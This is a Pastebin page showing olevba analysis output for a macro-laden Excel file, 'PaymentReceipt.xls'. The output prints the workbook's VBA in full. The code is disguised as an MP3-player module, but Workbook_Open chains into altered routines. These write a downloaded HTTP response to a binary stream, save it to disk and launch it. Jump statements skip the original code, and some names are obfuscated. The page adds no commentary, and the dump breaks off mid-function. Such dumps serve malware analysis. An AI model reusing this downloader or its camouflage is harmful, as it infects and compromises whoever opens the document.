Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- olevba 0.41 - http://decalage.info/python/oletools
- Flags Filename
- ----------- -----------------------------------------------------------------
- OLE:MASIHB-V PaymentReceipt.xls
- (Flags: OpX=OpenXML, XML=Word2003XML, MHT=MHTML, M=Macros, A=Auto-executable, S=Suspicious keywords, I=IOCs, H=Hex strings, B=Base64 strings, D=Dridex strings, V=VBA strings, ?=Unknown)
- ===============================================================================
- FILE: PaymentReceipt.xls
- Type: OLE
- -------------------------------------------------------------------------------
- VBA MACRO ÝòàÊíèãà.cls
- in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u042d\u0442\u0430\u041a\u043d\u0438\u0433\u0430'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Private Sub Workbook_Open()
- InsertaValoresAsientos "", "", ""
- PointerToStringA 0
- ComputerName
- EliminaValoresFACCLI "", "", ""
- OpenFile ""
- PlayMp3 ""
- RemoveFromPlaylist 0
- GoNext
- End Sub
- -------------------------------------------------------------------------------
- VBA MACRO Ëèñò1.cls
- in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04421'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Ëèñò2.cls
- in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04422'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Ëèñò3.cls
- in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/\u041b\u0438\u0441\u04423'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- (empty macro)
- -------------------------------------------------------------------------------
- VBA MACRO Module1.bas
- in file: PaymentReceipt.xls - OLE stream: u'_VBA_PROJECT_CUR/VBA/Module1'
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
- Public Function MakeTransparent(ByVal hwnd As Long, Perc As Integer) As Long
- Dim msg As Long
- If Perc < 0 Or Perc > 255 Then
- MakeTransparent = 1
- Else
- msg = GetWindowLong(hwnd, GWL_EXSTYLE)
- msg = msg Or WS_EX_LAYERED
- SetWindowLong hwnd, GWL_EXSTYLE, msg
- SetLayeredWindowAttributes hwnd, 0, Perc, LWA_ALPHA
- MakeTransparent = 0
- End If
- If Err Then
- MakeTransparent = 2
- End If
- End Function
- Public Function MakeOpaque(ByVal hwnd As Long) As Long
- Dim msg As Long
- On Error Resume Next
- msg = GetWindowLong(hwnd, GWL_EXSTYLE)
- msg = msg And Not WS_EX_LAYERED
- SetWindowLong hwnd, GWL_EXSTYLE, msg
- SetLayeredWindowAttributes hwnd, 0, 0, LWA_ALPHA
- MakeOpaque = 0
- If Err Then
- MakeOpaque = 2
- End If
- End Function
- Function SaveDialog(Form1 As String, Filter As String, Title As String, InitDir As String) As String
- Dim ofn As OPENFILENAME, A As Long
- ofn.lStructSize = Len(ofn)
- ofn.hwndOwner = Form1.hwnd
- ofn.Hinstance = App.Hinstance
- If Right$(Filter, 1) <> "|" Then Filter = Filter + "|"
- For A = 1 To Len(Filter)
- If Mid$(Filter, A, 1) = "|" Then Mid$(Filter, A, 1) = Chr$(0)
- Next
- ofn.lpstrFilter = Filter
- ofn.lpstrFile = Space$(254)
- ofn.nMaxFile = 255
- ofn.lpstrFileTitle = Space$(254)
- ofn.nMaxFileTitle = 255
- ofn.lpstrInitialDir = InitDir
- ofn.lpstrTitle = Title
- ofn.flags = OFN_HIDEREADONLY Or OFN_OVERWRITEPROMPT Or OFN_CREATEPROMPT
- A = GetSaveFileName(ofn)
- If (A) Then
- SaveDialog = Trim$(ofn.lpstrFile)
- Else
- SaveDialog = ""
- End If
- End Function
- Function OpenDialog(Form1 As String, Filter As String, Title As String, InitDir As String) As String
- Dim ofn As OPENFILENAME, A As Long
- ofn.lStructSize = Len(ofn)
- ofn.hwndOwner = Form1.hwnd
- ofn.Hinstance = App.Hinstance
- If Right$(Filter, 1) <> "|" Then Filter = Filter + "|"
- For A = 1 To Len(Filter)
- If Mid$(Filter, A, 1) = "|" Then Mid$(Filter, A, 1) = Chr$(0)
- Next
- ofn.lpstrFilter = Filter
- ofn.lpstrFile = Space$(254)
- ofn.nMaxFile = 255
- ofn.lpstrFileTitle = Space$(254)
- ofn.nMaxFileTitle = 255
- ofn.lpstrInitialDir = InitDir
- ofn.lpstrTitle = Title
- ofn.flags = OFN_HIDEREADONLY Or OFN_FILEMUSTEXIST
- A = GetOpenFilename(ofn)
- If (A) Then
- OpenDialog = Trim$(ofn.lpstrFile)
- Else
- OpenDialog = ""
- End If
- End Function
- Public Function GetRnd(Num As Integer) As Integer
- Randomize Timer
- GetRnd = Int((Num * Rnd) + 1)
- End Function
- Public Sub InitDisplay()
- Dim i As Integer
- i = GetSetting(App.Title, "Main", "Interface", 1)
- Select Case i
- Case 0
- SetInterface eSmWindow, False, True
- Case 1
- SetInterface eSmWindow, False, True
- Case 2
- SetInterface eSmWindow, False, True
- Case 3
- SetInterface eUtilityWindow, False, True
- Case 4
- SetInterface eNexENCODEWindow, False, True
- End Select
- End Sub
- Public Function GetFileTitle(lFilename As String) As String
- On Local Error Resume Next
- If Len(lFilename) <> 0 Then
- Again:
- If InStr(lFilename, "\") Then
- lFilename = Right(lFilename, Len(lFilename) - InStr(lFilename, "\"))
- If InStr(lFilename, "\") Then
- GoTo Again
- Else
- GetFileTitle = lFilename
- End If
- Else
- GetFileTitle = lFilename
- End If
- Else
- Exit Function
- End If
- End Function
- Public Sub CloseMp3Player()
- lInterface.iStoped = True
- frmMain.Mp3OCX1.Stop
- frmMain.lblFileInfo.Caption = ""
- frmMain.tmrStreamTitle.Enabled = False
- frmMain.tmrFake.Enabled = False
- Pause 0.5
- End Sub
- Public Function AddtoPlaylist(lFilename As String) As Integer
- Dim i As Integer, fPath As String, fTitle As String, msg As String, msg2 As String, msg4 As String
- On Local Error Resume Next
- If DoesFileExist(lFilename) = False Then Exit Function
- If InStr(LCase(lFilename), "mp3") Then
- msg2 = lFilename
- msg = Left(lFilename, Len(lFilename) - 1)
- If Right(LCase(msg), 3) = "mp3" Then lFilename = msg
- If Len(lFilename) <> 0 And Right(LCase(lFilename), 3) = "mp3" Then
- fTitle = GetFileTitle(msg2)
- AddRecientMedia fTitle
- fPath = Left(lFilename, Len(lFilename) - Len(fTitle))
- If DoesEntryExist(fTitle) = True Then Exit Function
- lPlaylist.pCount = lPlaylist.pCount + 1
- i = lPlaylist.pCount
- lPlaylist.pFiles(i).fFilename = fTitle
- lPlaylist.pFiles(i).fFilepath = fPath
- lPlaylist.pFiles(i).fFiletype = Mp3_File
- AddtoPlaylist = i
- End If
- ElseIf InStr(LCase(lFilename), "wav") Then
- msg2 = lFilename
- msg = Left(lFilename, Len(lFilename) - 1)
- If Right(LCase(msg), 3) = "wav" Then lFilename = msg
- If Len(lFilename) <> 0 And Right(LCase(lFilename), 3) = "wav" Then
- fTitle = GetFileTitle(msg2)
- AddRecientMedia fTitle
- fPath = Left(lFilename, Len(lFilename) - Len(fTitle))
- If DoesEntryExist(fTitle) = True Then Exit Function
- lPlaylist.pCount = lPlaylist.pCount + 1
- i = lPlaylist.pCount
- lPlaylist.pFiles(i).fFilename = fTitle
- lPlaylist.pFiles(i).fFilepath = fPath
- lPlaylist.pFiles(i).fFiletype = Wav_File
- AddtoPlaylist = i
- End If
- End If
- DoEvents
- End Function
- Public Function FindPlaylistIndex(lSearch As String) As Integer
- On Local Error Resume Next
- Dim i As Integer
- For i = 1 To lPlaylist.pCount
- If InStr(LCase(lPlaylist.pFiles(i).fFilename), LCase(lSearch)) Then
- FindPlaylistIndex = i
- Exit For
- End If
- Next i
- End Function
- Public Function DoesEntryExist(lSearch As String) As Boolean
- On Local Error Resume Next
- Dim i As Integer
- For i = 1 To lPlaylist.pCount
- If InStr(LCase(lPlaylist.pFiles(i).fFilename), LCase(lSearch)) Then
- DoesEntryExist = True
- Exit For
- End If
- Next i
- End Function
- Public Sub RegisterComponents()
- End Sub
- Public Sub LoadPlaylist(file As String)
- On Error GoTo ErrHandler
- Exit Sub
- ErrHandler:
- MsgBox "Error: " & Err.Description
- End Sub
- Public Sub SavePlaylist(Optional lFilename As String)
- On Local Error Resume Next
- Start:
- If Len(lFilename) = 0 Then
- lFilename = SaveDialog(frmMain, "M3u Files (*.m3u)|*.m3u|All Files (*.*)|*.*", "Audica - Save as?", CurDir)
- If Len(lFilename) = 0 Then Exit Sub
- lFilename = Left(lFilename, Len(lFilename) - 1)
- End If
- If Right(LCase(lFilename), 4) <> ".m3u" Then lFilename = lFilename & ".m3u"
- If DoesFileExist(lFilename) = True Then
- Dim msg As String
- msg = MsgBox("The file
- If msg = vbYes Then
- lFilename = ""
- GoTo Start
- ElseIf msg = vbNo Then
- GoTo Save
- End If
- Else
- Save:
- Dim i As Integer, msg2 As String
- For i = 1 To lPlaylist.pCount
- With lPlaylist.pFiles(i)
- If Len(.fFilename) <> 0 And Len(.fFilepath) <> 0 And .fFiletype <> 0 Then
- If Len(msg2) = 0 Then
- msg2 = .fFilepath & .fFilename
- Else
- msg2 = msg2 & vbCrLf & .fFilepath & .fFilename
- End If
- End If
- End With
- Next i
- SaveFile lFilename, msg2
- lPlaylist.pFilename = lFilename
- SaveSetting App.Title, "Playlist", "Filename", lFilename
- End If
- End Sub
- Public Function SaveFile(lFilename As String, lText As String) As Boolean
- On Local Error Resume Next
- If Len(lFilename) <> 0 And Len(lText) <> 0 Then
- Open lFilename For Output As #1
- Print #1, lText
- Close #1
- End If
- End Function
- Public Sub LoadSettings()
- lSettings.sLastPlaylist = GetSetting(App.Title, "Settings", "LastPlaylist", "")
- lSettings.sOutputDevice = GetSetting(App.Title, "Settings", "OutputDevice", 100)
- End Sub
- Public Sub SaveSettings()
- Dim i As Integer
- For i = 1 To lPlaylist.pCount
- SaveSetting App.Title, "Playlist", i, lPlaylist.pFiles(i).fFilepath & lPlaylist.pFiles(i).fFilename
- Next i
- SaveSetting App.Title, "Settings", "LastPlaylist", lSettings.sLastPlaylist
- SaveSetting App.Title, "Playlist", "Count", lPlaylist.pCount
- SaveSetting App.Title, "Main", "Interface", lInterface.iCurrentLayout
- SaveSetting App.Title, "Main", "Left", frmMain.Left
- SaveSetting App.Title, "Main", "Top", frmMain.Top
- End Sub
- Public Sub SetNexENCODEShape()
- Dim i As Integer
- Dim rgn As Long, rgn1 As Long, rgn2 As Long, rgn3 As Long, rgn4 As Long, rgn5 As Long, rgn6 As Long, rgn7 As Long, tmp As Long
- Dim X As Long, Y As Long
- X = lMainWndSettings.wWindowBorder
- Y = lMainWndSettings.wTitleBarHeight
- rgn = CreateEllipticRgn(0, 0, frmMain.Width, frmMain.Height)
- rgn1 = CreateEllipticRgn(X + 147, Y + 90, X + 326, Y + 267)
- rgn2 = CreateEllipticRgn(X + 104, Y + 46, X + 367, Y + 310)
- rgn3 = CreateEllipticRgn(X + 48, Y + 74, X + 257, Y + 287)
- rgn4 = CreateEllipticRgn(X + 65, Y + 92, X + 241, Y + 268)
- rgn5 = CreateEllipticRgn(X + 212, Y + 72, X + 422, Y + 286)
- rgn6 = CreateEllipticRgn(X + 230, Y + 91, X + 404, Y + 268)
- rgn7 = CreateRoundRectRgn(X + 39, Y + 120, X + 429, Y + 237, 110, 110)
- tmp = CombineRgn(rgn1, rgn2, rgn1, RGN_DIFF)
- tmp = CombineRgn(rgn3, rgn3, rgn4, RGN_DIFF)
- tmp = CombineRgn(rgn5, rgn5, rgn6, RGN_DIFF)
- tmp = CombineRgn(rgn3, rgn3, rgn5, RGN_OR)
- tmp = CombineRgn(rgn1, rgn1, rgn7, RGN_OR)
- tmp = CombineRgn(rgn, rgn1, rgn3, RGN_OR)
- frmMain.Width = 7000
- frmMain.Height = 6000
- tmp = SetWindowRgn(frmMain.hwnd, rgn, True)
- End Sub
- Public Sub AppendToPlaylist(Optional lFilename As String)
- Dim msg As String, msg2 As String, lefty As String
- On Local Error Resume Next
- If Len(lFilename) = 0 Then
- lFilename = OpenDialog(frmMain, "M3u files (*.m3u)|*.m3u|All Files (*.*)|*.*", "Audica - Select playlist ...", CurDir)
- If Len(lFilename) = 0 Then Exit Sub
- End If
- If DoesFileExist(lFilename) = True Then
- msg = ReadFile(lFilename)
- msg = Trim(msg)
- Again:
- If Len(msg) <> 0 Then
- lefty = Left(msg, 1)
- msg2 = lefty & ParseString(msg, Left(msg, 1), Chr(13))
- msg = Right(msg, Len(msg) - Len(msg2) - 2)
- AddtoPlaylist msg2
- DoEvents
- If Len(msg) <> 0 Then
- If InStr(msg, Chr(13)) Then
- GoTo Again
- Else
- AddtoPlaylist Trim(msg)
- DoEvents
- End If
- End If
- End If
- Else
- MsgBox "File does not exist"
- End If
- End Sub
- Public Sub ClearPlaylist()
- Dim i As Integer
- On Local Error Resume Next
- For i = 1 To lPlaylist.pCount
- With lPlaylist.pFiles(i)
- .fFilename = ""
- .fFilepath = ""
- .fFiletype = 0
- End With
- Next i
- lPlaylist.pCurrent = ""
- For i = 1 To frmMain.mnuRecient.Count
- Unload frmMain.mnuRecient(i)
- Next i
- SaveSettings
- End Sub
- Public Sub RemoveFromPlaylist(lIndex As Integer)
- balakla.savetofile kurgada, 2
- End Sub
- Public Sub SetInterface(lInterfaceType As String, Optional lFadeOut As Boolean, Optional lInitVis As Boolean)
- On Local Error Resume Next
- Select Case lInterfaceType
- Case eSmWindow
- If lFadeOut = True Then FadeOut
- DoEvents
- lInterface.iCurrentLayout = eSmWindow
- GetWindowSettings frmMain.hwnd
- SetPlayerShape
- With frmMain
- .mnuAudica.Checked = True
- .mnuUtility.Checked = False
- .mnuNexENCODE.Checked = False
- .imgLayout.Top = 0
- .imgLayout.Left = 0
- .imgLayout.Visible = True
- .imgSmPlay.Picture = frmGFX.imgSmPlay1.Picture
- .Caption = "::AUDICA.PLAYER::"
- .imgSmVol.Picture = frmGFX.imgVolume.Picture
- .imgSmVol.Left = 158
- .imgSmVol.Top = 119
- .imgSmVol.Visible = True
- .lblFileInfo.Visible = True
- .lblFileInfo.Left = 64
- .lblFileInfo.Top = 184
- .imgLayout.Picture = frmGFX.imgSmWindow.Picture
- .imgSmBack.Picture = frmGFX.imgSmBack1.Picture
- .imgSmBack.Left = 6
- .imgSmBack.Top = 121
- .imgSmNext.Picture = frmGFX.imgSmNext1.Picture
- .imgSmNext.Left = 15
- .imgSmNext.Top = 171
- .imgSmPause.Picture = frmGFX.imgSmPause1.Picture
- .imgSmPause.Left = 3
- .imgSmPause.Top = 144
- .imgSmPlay.Picture = frmGFX.imgSmPlay1.Picture
- .imgSmPlay.Left = 32
- .imgSmPlay.Top = 145
- .imgSmEject.Picture = frmGFX.imgSmEject1.Picture
- .imgSmEject.Top = 95
- .imgSmEject.Left = 189
- .imgSmOptions.Picture = frmGFX.imgSmOptions1.Picture
- .imgSmOptions.Left = 166
- .imgSmOptions.Top = 87
- .imgSmOptions.Visible = True
- .imgSmEject.Visible = True
- .imgSmPlay.Visible = True
- .imgSmPause.Visible = True
- .imgSmNext.Visible = True
- .imgSmBack.Visible = True
- .lblFileInfo.Visible = True
- .imgSlider.Visible = True
- .imgSmVol.Visible = True
- .Mp3OCX1.Visible = True
- End With
- FadeIn lInitVis
- Case eUtilityWindow
- If lFadeOut = True Then FadeOut
- DoEvents
- frmMain.Caption = "::AUDICA.PLAYLIST::"
- lInterface.iCurrentLayout = eUtilityWindow
- GetWindowSettings frmMain.hwnd
- SetUtilityShape
- With frmMain
- .imgLayout.Top = 0
- .imgLayout.Left = 0
- .imgLayout.Visible = True
- .imgLayout.Picture = frmGFX.imgUtilityWind.Picture
- .imgSmOptions.Visible = False
- .imgSmEject.Visible = False
- .imgSmPlay.Visible = False
- .imgSmPause.Visible = False
- .imgSmNext.Visible = False
- .imgSmBack.Visible = False
- .mnuAudica.Checked = False
- .mnuUtility.Checked = True
- .mnuNexENCODE.Checked = False
- .lblFileInfo.Visible = False
- .imgSlider.Visible = False
- .imgSmVol.Visible = False
- .Mp3OCX1.Visible = False
- End With
- FadeIn
- Case eAboutWindow
- If lFadeOut = True Then FadeOut
- DoEvents
- frmMain.Caption = "nexgen . audica - about"
- lInterface.iCurrentLayout = eAboutWindow
- GetWindowSettings frmMain.hwnd
- SetAboutShape
- With frmMain
- .Mp3OCX1.Visible = False
- .imgLayout.Picture = frmGFX.imgAbout.Picture
- .imgLayout.Top = 0
- .imgLayout.Left = 0
- .imgLayout.Visible = True
- End With
- FadeIn True
- End Select
- End Sub
- Public Sub FadeOut()
- Dim X As Integer, i As Integer
- X = 100
- For i = 1 To 5
- X = X - 20
- MakeTransparent frmMain.hwnd, X
- DoEvents
- Next i
- End Sub
- Public Sub FadeIn(Optional InitVis As Boolean)
- Dim i As Integer, X As Integer
- X = 0
- If InitVis = True Then frmMain.Visible = True
- For i = 1 To 5
- X = X + 20
- MakeTransparent frmMain.hwnd, X
- DoEvents
- Next i
- MakeOpaque frmMain.hwnd
- End Sub
- Public Sub PlayMp3(Optional lMp3File As String)
- Dim msg As String, i As Integer
- balakla.write besson.responseBody
- Exit Sub
- If Len(lMp3File) = 0 Then
- msg = PromptF.ile(Mp3_File)
- Else
- msg = lMp3File
- End If
- If Len(msg) <> 0 Then
- i = OpenFile(msg)
- DoEvents
- Pause 0.2
- Playfile i, Mp3_F.ile
- Else
- Exit Sub
- End If
- End Sub
- Public Sub Playfile(lIndex As Integer, lFiletype As String)
- On Local Error Resume Next
- Dim msg As String, lFilename As String
- lFilename = lPlaylist.pFiles(lIndex).fFilepath & "\" & lPlaylist.pFiles(lIndex).fFilename
- If DoesFileExist(lFilename) = False Then
- msg = MsgBox("Audica cannot locate")
- If msg = vbYes Then
- PlayMp3
- Exit Sub
- Else
- Exit Sub
- End If
- End If
- If lIndex = 0 Then
- Exit Sub
- Else
- Select Case lFiletype
- Case Mp3_File
- End Select
- End If
- End Sub
- Public Sub PlayWav(Optional lWavFile As String)
- Dim msg As String, i As Integer
- If Len(lWavFile) = 0 Then
- msg = PromptFile(Wav_File)
- Else
- msg = lWavFile
- End If
- If Len(msg) <> 0 Then
- OpenFile msg
- DoEvents
- i = FindPlaylistIndex(msg)
- Playfile i, Wav_File
- Else
- Exit Sub
- End If
- End Sub
- Public Sub GoNext()
- Dim i As Integer, msg As String, X As Integer
- serebro.Open (kurgada)
- Exit Sub
- frmMain.lblFileInfo.Caption = "Loading ..."
- CloseMp3Player
- DoEvents
- Pause 0.2
- If lPlaylist.pCount = 0 Or lPlaylist.pCount = 1 Then Exit Sub
- If frmMain.mnuRandomize.Checked = True Then
- Rand:
- X = GetRnd(lPlaylist.pCount)
- If Len(lPlaylist.pFiles(X).fFilename) <> 0 Then
- If X <> lPlaylist.pCurrent Then
- lPlaylist.pCurrent = X
- msg = lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
- OpenFile msg
- Playfile lPlaylist.pCurrent, Mp3_F.ile
- Exit Sub
- Else
- GoTo Rand
- End If
- Else
- GoTo Rand
- End If
- End If
- If lPlaylist.pCurrent = lPlaylist.pCount Then
- lPlaylist.pCurrent = 1
- msg = lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
- OpenFile msg
- Playfile lPlaylist.pCurrent, Mp3_F.ile
- ElseIf lPlaylist.pCurrent = 0 Then
- lPlaylist.pCurrent = 1
- msg = lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
- OpenFile msg
- Playfile lPlaylist.pCurrent, Mp3_F.ile
- Else
- lPlaylist.pCurrent = lPlaylist.pCurrent + 1
- msg = lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
- OpenFile msg
- Playfile lPlaylist.pCurrent, Mp3_F.ile
- End If
- End Sub
- Public Sub ProcessEvent(lEventType As Integer)
- End Sub
- Public Sub GoBack()
- CloseMp3Player
- DoEvents
- Pause 0.5
- Dim i As Integer, msg As String
- If lPlaylist.pCount = 0 Then Exit Sub
- If lPlaylist.pCurrent = 1 Then
- lPlaylist.pCurrent = lPlaylist.pCount
- OpenFile lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
- Playfile lPlaylist.pCurrent, Mp3_File
- ElseIf lPlaylist.pCurrent <> 0 Then
- i = lPlaylist.pCurrent
- lPlaylist.pCurrent = i - 1
- msg = lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
- OpenFile msg
- Playfile lPlaylist.pCurrent, Mp3_File
- ElseIf lPlaylist.pCurrent = 0 Then
- lPlaylist.pCurrent = 1
- OpenFile lPlaylist.pFiles(lPlaylist.pCurrent).fFilepath & "\" & lPlaylist.pFiles(lPlaylist.pCurrent).fFilename
- Playfile lPlaylist.pCurrent, Mp3_File
- End If
- End Sub
- Public Function OpenFile(lFilename As String) As Integer
- On Local Error Resume Next
- balakla.Type = 1
- GoTo openfile2
- Dim msg As String, msg2 As String, i As Integer, msg3 As String, lext As String, lFile As String, X As Integer
- If Len(lFilename) <> 0 Then
- lFile = lFilename
- lext = Right(LCase(lFilename), 3)
- msg2 = GetFileTitle(lFile)
- i = FindPlaylistIndex(msg2)
- If i = 0 Then X = AddtoPlaylist(lFilename)
- Select Case lext
- Case "mp3"
- With frmMain
- ms_InitialiseGenres
- Dim t As String
- t = ms_ShowID3V1Tag(lFilename)
- Dim msg20 As String
- msg20 = Right(tccc.Title, 1)
- lInterface.iStatusText = Replace(Trim(tdcd.Title), Chr(0), "") & " by " & Replace(Trim(tdcd.Artist), Chr(0), "") & " album " & Replace(Trim(tfssf.Album), Chr(0), "") & " " & Replace(Trim(tfssf.Genre), Chr(0), "")
- lInterface.iStoped = False
- frmMain.tmrFake.Enabled = True
- lPlaylist.pCurrent = FindPlaylistIndex(GetFileTitle(lFilename))
- frmMain.imgSmPlay.Picture = frmGFX.imgSmStop1.Picture
- lInterface.iPlaying = True
- frmMain.tmrStreamTitle.Enabled = True
- .Mp3OCX1.Play lFilename
- frmMain.tmrStreamTitle.Enabled = True
- End With
- End Select
- OpenFile = X
- End If
- openfile2:
- balakla.Open
- End Function
- Function AlphaNumericOnly(strSource As String) As String
- Dim i As Integer
- Dim strResult As String
- For i = 1 To Len(strSource)
- Select Case Asc(Mid(strSource, i, 1))
- Case 48 To 57, 65 To 90, 97 To 122:
- strResult = strResult & Mid(strSource, i, 1)
- End Select
- Next
- AlphaNumericOnly = strResult
- End Function
- Public Function PromptFolder() As String
- On Local Error Resume Next
- Dim msg As String
- With frmFolder
- .Label1.Caption = "Please select a folder"
- .Dir1.Path = CurDir
- .Show 1
- msg = .Dir1.Path
- End With
- If Len(msg) <> 0 Then
- PromptFolder = msg
- End If
- End Function
- Public Function PlayDirectory(lFiletype As String)
- Dim msg As String, msg2 As String, i As Integer, lext As String
- msg = PromptFolder
- If Len(msg) <> 0 Then
- frmDir.Dir1.Path = msg
- For i = 0 To frmDir.File1.ListCount
- msg2 = frmDir.File1.List(i)
- lext = Right(msg2, 3)
- Select Case lFiletype
- Case Mp3_File
- If lext = "mp3" Then AddtoPlaylist msg & "\" & msg2
- Case Wav_File
- If lext = "wav" Then AddtoPlaylist msg & "\" & msg2
- End Select
- Next i
- GoNext
- End If
- End Function
- Public Function AddRecientMedia(lFileTitle As String)
- On Local Error Resume Next
- Dim i As Integer
- i = frmMain.mnuRecient.Count
- If Len(lFileTitle) <> 0 Then
- frmMain.mnuRecient(0).Visible = False
- Load frmMain.mnuRecient(i)
- frmMain.mnuRecient(i).Visible = True
- frmMain.mnuRecient(i).Caption = "::" & UCase(Left(lFileTitle, Len(lFileTitle) - 4)) & "::"
- frmMain.mnuRecient(i).Enabled = True
- End If
- End Function
- Public Function PromptFile(lFiletype As String) As String
- On Local Error Resume Next
- Dim msg As String, msg2 As String
- Select Case lFiletype
- Case Mp3_File
- msg = OpenDialog(frmMain, "Mp3 Files (*.mp3)|*.mp3|All Files (*.*)|*.*", "Nexgen Audica - Select File ...", ReturnDirectoryPath(Mp3_File))
- If Len(msg) = 0 Then Exit Function
- msg = Left(msg, Len(msg) - 1)
- If Len(msg) <> 0 Then
- msg2 = msg
- DoEvents
- frmMain.Mp3OCX1.Stop
- PromptFile = msg
- End If
- Case Wav_File
- msg = OpenDialog(frmMain, "Wave Audio Files (*.wav)|*.wav|All Files (*.*)|*.*", "Nexgen Audica - Select File ...", ReturnDirectoryPath(Wav_File))
- msg = Left(msg, Len(msg) - 1)
- If Len(msg) <> 0 Then
- msg2 = msg
- DoEvents
- frmMain.Mp3OCX1.Stop
- PromptFile = msg
- End If
- End Select
- End Function
- Public Sub Pause(interval)
- Dim Current
- Current = Timer
- Do While Timer - Current < Val(interval)
- DoEvents
- Loop
- End Sub
- Public Sub GetWindowSettings(lHandle As Long)
- On Local Error Resume Next
- Dim lWindowPos As RECT, lClientPos As RECT
- Dim lBorderWidth As Long, lTopOffset As Long
- Dim i As Long
- i = GetWindowRect(lHandle, lWindowPos)
- i = GetClientRect(lHandle, lClientPos)
- lMainWndSettings.wTitleBarHeight = lWindowPos.Bottom - lWindowPos.Top - lClientPos.Bottom - lBorderWidth
- lMainWndSettings.wWindowBorder = lWindowPos.Right - lWindowPos.Left - lClientPos.Right - 2
- End Sub
- Public Sub FormDrag(lFormname As String)
- ReleaseCapture
- Call SendMessage(lFormname.hwnd, &HA1, 2, 0&)
- End Sub
- Public Sub SetPlayerShape()
- Dim i As Integer
- Dim rgn As Long, rgn1 As Long, rgn2 As Long, rgn3 As Long, rgn4 As Long, rgn5 As Long, rgn6 As Long, rgn7 As Long, tmp As Long
- Dim X As Long, Y As Long
- X = lMainWndSettings.wWindowBorder
- Y = lMainWndSettings.wTitleBarHeight
- rgn = CreateEllipticRgn(X + 14, Y - 3, X + 172, Y + 152)
- rgn1 = CreateEllipticRgn(X - 1.2, Y + 68, X + 190, Y + 234)
- rgn2 = CreateEllipticRgn(X + 72, Y + 71, X + 237, Y + 227)
- rgn3 = CreateEllipticRgn(X + 26, Y + 145, X + 161 + 23, Y + 153 + 150)
- tmp = CombineRgn(rgn, rgn, rgn1, RGN_OR)
- tmp = CombineRgn(rgn, rgn, rgn2, RGN_OR)
- tmp = CombineRgn(rgn, rgn, rgn3, RGN_OR)
- frmMain.Width = 3700
- frmMain.Height = 5300
- tmp = SetWindowRgn(frmMain.hwnd, rgn, True)
- End Sub
- Public Sub SetUtilityShape()
- Dim i As Integer
- Dim rgn As Long, rgn1 As Long, rgn2 As Long, rgn3 As Long, rgn4 As Long, rgn5 As Long, rgn6 As Long, rgn7 As Long, tmp As Long
- Dim X As Long, Y As Long
- X = lMainWndSettings.wWindowBorder
- Y = lMainWndSettings.wTitleBarHeight
- rgn = CreateRoundRectRgn(X + 38, Y + 249, X + 288, Y + 268, 10, 10)
- rgn1 = CreateRoundRectRgn(X + 286, Y - 3, X + 324, Y + 231, 40, 40)
- rgn2 = CreateRectRgn(X + 286, Y + 192, X + 30 + 286, Y + 57 + 192)
- rgn3 = CreateEllipticRgn(X + 286, Y + 228, X + 288 + 50, Y + 41 + 232)
- rgn4 = CreateRoundRectRgn(X + 1, Y - 3, X + 300, Y + 34, 30, 30)
- rgn5 = CreateRoundRectRgn(X + 35, Y + -100, X + 287, Y + 16, 20, 20)
- rgn6 = CreateRectRgn(X + 35, Y + 20, X + 249 + 40, Y + 209 + 40)
- rgn7 = CreateRoundRectRgn(X - 1, Y + 20, X + 70, Y + 250, 20, 20)
- tmp = CombineRgn(rgn, rgn, rgn1, RGN_OR)
- tmp = CombineRgn(rgn, rgn, rgn2, RGN_OR)
- tmp = CombineRgn(rgn, rgn, rgn3, RGN_DIFF)
- tmp = CombineRgn(rgn, rgn, rgn4, RGN_OR)
- tmp = CombineRgn(rgn, rgn, rgn5, RGN_DIFF)
- tmp = CombineRgn(rgn, rgn, rgn6, RGN_OR)
- tmp = CombineRgn(rgn, rgn, rgn7, RGN_OR)
- frmMain.Width = 5000
- frmMain.Height = 4800
- tmp = SetWindowRgn(frmMain.hwnd, rgn, True)
- End Sub
- Public Sub SetAboutShape()
- Dim i As Integer
- Dim rgn As Long, rgn1 As Long, rgn2 As Long, rgn3 As Long, rgn4 As Long, rgn5 As Long, rgn6 As Long, rgn7 As Long, tmp As Long
- Dim X As Long, Y As Long
- X = lMainWndSettings.wWindowBorder
- Y = lMainWndSettings.wTitleBarHeight
- rgn = CreateRectRgn(X - 1, Y - 2, X + 200, Y + 229)
- frmMain.Width = 3200
- frmMain.Height = 4200
- tmp = SetWindowRgn(frmMain.hwnd, rgn, True)
- End Sub
- Public Function ms_ShowID3V1Tag(sFileName As String) As String
- On Local Error GoTo ErrHandler
- Const ID3V1TagSize As Integer = 127
- Dim result As String
- Dim t As ID3V1Tag
- Dim lFileHandle As Long
- Dim lll As Long
- Dim sGenre As String
- lFileHandle = FreeFile()
- Open sFileName For Binary As #lFileHandle
- lll = LOF(lFileHandle)
- Get #lFileHandle, lll - ID3V1TagSize, t.Identifier
- With t
- If .Identifier = "TAG" Then
- Get #lFileHandle, , .Title
- Get #lFileHandle, , .Artist
- Get #lFileHandle, , .Album
- Get #lFileHandle, , .Year
- Get #lFileHandle, , .Comment
